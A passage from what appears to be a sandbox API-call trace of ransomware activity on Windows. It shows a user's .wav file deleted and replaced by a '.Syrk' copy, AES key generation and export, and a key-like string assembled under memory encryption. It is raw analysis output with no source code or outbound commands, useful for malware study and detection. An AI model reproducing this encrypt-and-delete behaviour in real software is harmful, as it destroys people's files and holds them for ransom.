"c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 0x20 [0242.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.158] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0242.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0242.159] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0242.159] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0242.159] CoTaskMemFree (pv=0x5c98368) [0242.160] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 0x20 [0242.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav", lpFilePart=0x0) returned 0x49 [0242.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0242.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav"), fInfoLevelId=0x0, lpFileInformation=0x24b5954 | out: lpFileInformation=0x24b5954*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ba9be0, ftCreationTime.dwHighDateTime=0x1d99507, ftLastAccessTime.dwLowDateTime=0xe3d8a300, ftLastAccessTime.dwHighDateTime=0x1d99971, ftLastWriteTime.dwLowDateTime=0xe3d8a300, ftLastWriteTime.dwHighDateTime=0x1d99971, nFileSizeHigh=0x0, nFileSizeLow=0xa1e1)) returned 1 [0242.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0242.161] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav")) returned 1 [0242.163] EtwEventActivityIdControl () returned 0x0 [0242.163] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.163] EtwEventActivityIdControl () returned 0x0 [0242.163] EtwEventActivityIdControl () returned 0x0 [0242.163] EtwEventActivityIdControl () returned 0x0 [0242.171] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav.syrk")) returned 0x20 [0242.172] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav.syrk")) returned 0x20 [0242.172] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0242.172] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk", lpFilePart=0x0) returned 0x4e [0242.173] EtwEventActivityIdControl () returned 0x0 [0242.173] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.174] EtwEventActivityIdControl () returned 0x0 [0242.174] EtwEventActivityIdControl () returned 0x0 [0242.174] EtwEventActivityIdControl () returned 0x0 [0242.177] EtwEventActivityIdControl () returned 0x0 [0242.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.178] EtwEventActivityIdControl () returned 0x0 [0242.178] EtwEventActivityIdControl () returned 0x0 [0242.178] EtwEventActivityIdControl () returned 0x0 [0242.183] EtwEventActivityIdControl () returned 0x0 [0242.183] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.183] EtwEventActivityIdControl () returned 0x0 [0242.183] EtwEventActivityIdControl () returned 0x0 [0242.183] EtwEventActivityIdControl () returned 0x0 [0242.187] EtwEventActivityIdControl () returned 0x0 [0242.187] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.187] EtwEventActivityIdControl () returned 0x0 [0242.187] EtwEventActivityIdControl () returned 0x0 [0242.187] EtwEventActivityIdControl () returned 0x0 [0242.191] EtwEventActivityIdControl () returned 0x0 [0242.192] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.192] EtwEventActivityIdControl () returned 0x0 [0242.192] EtwEventActivityIdControl () returned 0x0 [0242.192] EtwEventActivityIdControl () returned 0x0 [0242.196] EtwEventActivityIdControl () returned 0x0 [0242.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0242.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\Li_8A-UY.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\li_8a-uy.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24c3b6c | out: lpFileInformation=0x24c3b6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc06c8b0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xc06c8b0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xc092a10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xa204)) returned 1 [0242.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0242.201] GetConsoleOutputCP () returned 0x1b5 [0242.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.201] GetConsoleOutputCP () returned 0x1b5 [0242.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.201] GetConsoleOutputCP () returned 0x1b5 [0242.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.202] GetConsoleOutputCP () returned 0x1b5 [0242.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.202] GetConsoleOutputCP () returned 0x1b5 [0242.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.202] GetConsoleOutputCP () returned 0x1b5 [0242.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.202] GetConsoleOutputCP () returned 0x1b5 [0242.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.202] GetConsoleOutputCP () returned 0x1b5 [0242.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.203] GetConsoleOutputCP () returned 0x1b5 [0242.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.203] GetConsoleOutputCP () returned 0x1b5 [0242.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.203] GetConsoleOutputCP () returned 0x1b5 [0242.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.203] GetConsoleOutputCP () returned 0x1b5 [0242.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.204] GetConsoleOutputCP () returned 0x1b5 [0242.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.204] GetConsoleOutputCP () returned 0x1b5 [0242.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.204] GetConsoleOutputCP () returned 0x1b5 [0242.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.204] GetConsoleOutputCP () returned 0x1b5 [0242.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.205] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0242.205] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.205] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24dd858*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24dd858*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0242.206] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.206] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0242.207] EtwEventActivityIdControl () returned 0x0 [0242.207] EtwEventActivityIdControl () returned 0x0 [0242.207] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.208] EtwEventActivityIdControl () returned 0x0 [0242.208] EtwEventActivityIdControl () returned 0x0 [0242.208] EtwEventActivityIdControl () returned 0x0 [0242.210] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.210] EtwEventActivityIdControl () returned 0x0 [0242.210] EtwEventActivityIdControl () returned 0x0 [0242.210] EtwEventActivityIdControl () returned 0x0 [0242.213] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x373568) returned 1 [0242.214] CryptGenKey (in: hProv=0x373568, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0242.215] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.215] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.215] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24e5230, pdwDataLen=0x5a2e8c4 | out: pbData=0x24e5230*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.215] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.216] EtwEventActivityIdControl () returned 0x0 [0242.216] EtwEventActivityIdControl () returned 0x0 [0242.216] EtwEventActivityIdControl () returned 0x0 [0242.216] SysStringLen (param_1="") returned 0x8 [0242.217] SysStringLen (param_1="L") returned 0x8 [0242.217] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.217] SysStringLen (param_1="\ෞ옛ጫ聹虰砅쁞≚) returned 0x8 [0242.217] SysStringLen (param_1="\ෞ옛ጫ聹虰砅쁞≚) returned 0x8 [0242.217] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.217] SysStringLen (param_1="Le") returned 0x8 [0242.217] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.217] SysStringLen (param_1="ⷅ鍫ቘ俹鵕呟\뗝⋨) returned 0x8 [0242.217] SysStringLen (param_1="ⷅ鍫ቘ俹鵕呟\뗝⋨) returned 0x8 [0242.217] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.217] SysStringLen (param_1="Leq") returned 0x8 [0242.217] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.218] SysStringLen (param_1="쟘茭䝍辗ᬰ楋ⲣ") returned 0x8 [0242.218] SysStringLen (param_1="쟘茭䝍辗ᬰ楋ⲣ") returned 0x8 [0242.218] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.218] SysStringLen (param_1="LeqB") returned 0x8 [0242.218] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.218] SysStringLen (param_1="찗甬ꢮ崝챖퉍") returned 0x8 [0242.218] SysStringLen (param_1="찗甬ꢮ崝챖퉍") returned 0x8 [0242.218] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.218] SysStringLen (param_1="LeqB4") returned 0x8 [0242.218] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.218] SysStringLen (param_1="䏰쉇ÿ껋쎥樢碈繁") returned 0x8 [0242.218] SysStringLen (param_1="䏰쉇ÿ껋쎥樢碈繁") returned 0x8 [0242.218] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.219] SysStringLen (param_1="LeqB4z") returned 0x8 [0242.219] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.219] SysStringLen (param_1="謹ẝ糭킦ᚶ᭹䋙") returned 0x8 [0242.219] SysStringLen (param_1="謹ẝ糭킦ᚶ᭹䋙") returned 0x8 [0242.219] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.219] SysStringLen (param_1="LeqB4zc") returned 0x8 [0242.219] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.219] SysStringLen (param_1="૩㎻龷嬢䎖턺뒯") returned 0x8 [0242.219] SysStringLen (param_1="૩㎻龷嬢䎖턺뒯") returned 0x8 [0242.219] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.219] SysStringLen (param_1="LeqB4zci") returned 0x8 [0242.219] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.220] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡") returned 0x8 [0242.220] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡") returned 0x8 [0242.220] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡") returned 0x8 [0242.220] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡") returned 0x10 [0242.220] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.221] SysStringLen (param_1="LeqB4zciP贓嫊䶝꧀↚䉚") returned 0x10 [0242.221] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.221] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡鸣庾⛼扠濩펕") returned 0x10 [0242.221] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡鸣庾⛼扠濩펕") returned 0x10 [0242.221] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.221] SysStringLen (param_1="LeqB4zciPJ嫊䶝꧀↚䉚") returned 0x10 [0242.221] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.221] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡罄옺딘穕＃飷㒆") returned 0x10 [0242.221] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡罄옺딘穕＃飷㒆") returned 0x10 [0242.221] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.221] SysStringLen (param_1="LeqB4zciPJ0䶝꧀↚䉚") returned 0x10 [0242.221] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡㨨⿹궪浐Ⳏ禙\\듘") returned 0x10 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡㨨⿹궪浐Ⳏ禙\\듘") returned 0x10 [0242.222] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="LeqB4zciPJ09䶝꧀↚䉚") returned 0x10 [0242.222] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡ꂟ맃끍ረᴮਛ፹泐") returned 0x10 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡ꂟ맃끍ረᴮਛ፹泐") returned 0x10 [0242.222] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="LeqB4zciPJ093꧀↚䉚") returned 0x10 [0242.222] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡ꔜ鎆䧋ꝩ䠦\奋⊞) returned 0x10 [0242.222] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡ꔜ鎆䧋ꝩ䠦\奋⊞) returned 0x10 [0242.222] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.222] SysStringLen (param_1="LeqB4zciPJ0934↚䉚") returned 0x10 [0242.222] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.223] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡习먹馛⇜惵腮쯩蛑") returned 0x10 [0242.223] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡习먹馛⇜惵腮쯩蛑") returned 0x10 [0242.223] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.223] SysStringLen (param_1="LeqB4zciPJ09342䉚") returned 0x10 [0242.223] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.223] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡䩿⌣䌃鐂꫑逤") returned 0x10 [0242.223] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡䩿⌣䌃鐂꫑逤") returned 0x10 [0242.223] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.223] SysStringLen (param_1="LeqB4zciPJ09342U") returned 0x10 [0242.223] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.223] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇") returned 0x10 [0242.224] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇") returned 0x10 [0242.224] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇") returned 0x10 [0242.224] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇") returned 0x18 [0242.224] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.224] SysStringLen (param_1="LeqB4zciPJ09342Ug앲鐅ꝩ⛓蚇ⓓǼ") returned 0x18 [0242.224] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.224] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇轥㎷彍⬡嗧ƥጔネ") returned 0x18 [0242.224] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇轥㎷彍⬡嗧ƥጔネ") returned 0x18 [0242.224] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.224] SysStringLen (param_1="LeqB4zciPJ09342Ug5鐅ꝩ⛓蚇ⓓǼ") returned 0x18 [0242.224] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.225] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇╪Ꜹ嘍䚧쮃鍝г㚤") returned 0x18 [0242.225] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇╪Ꜹ嘍䚧쮃鍝г㚤") returned 0x18 [0242.225] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.225] SysStringLen (param_1="LeqB4zciPJ09342Ug5Fꝩ⛓蚇ⓓǼ") returned 0x18 [0242.225] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.225] SysStringLen 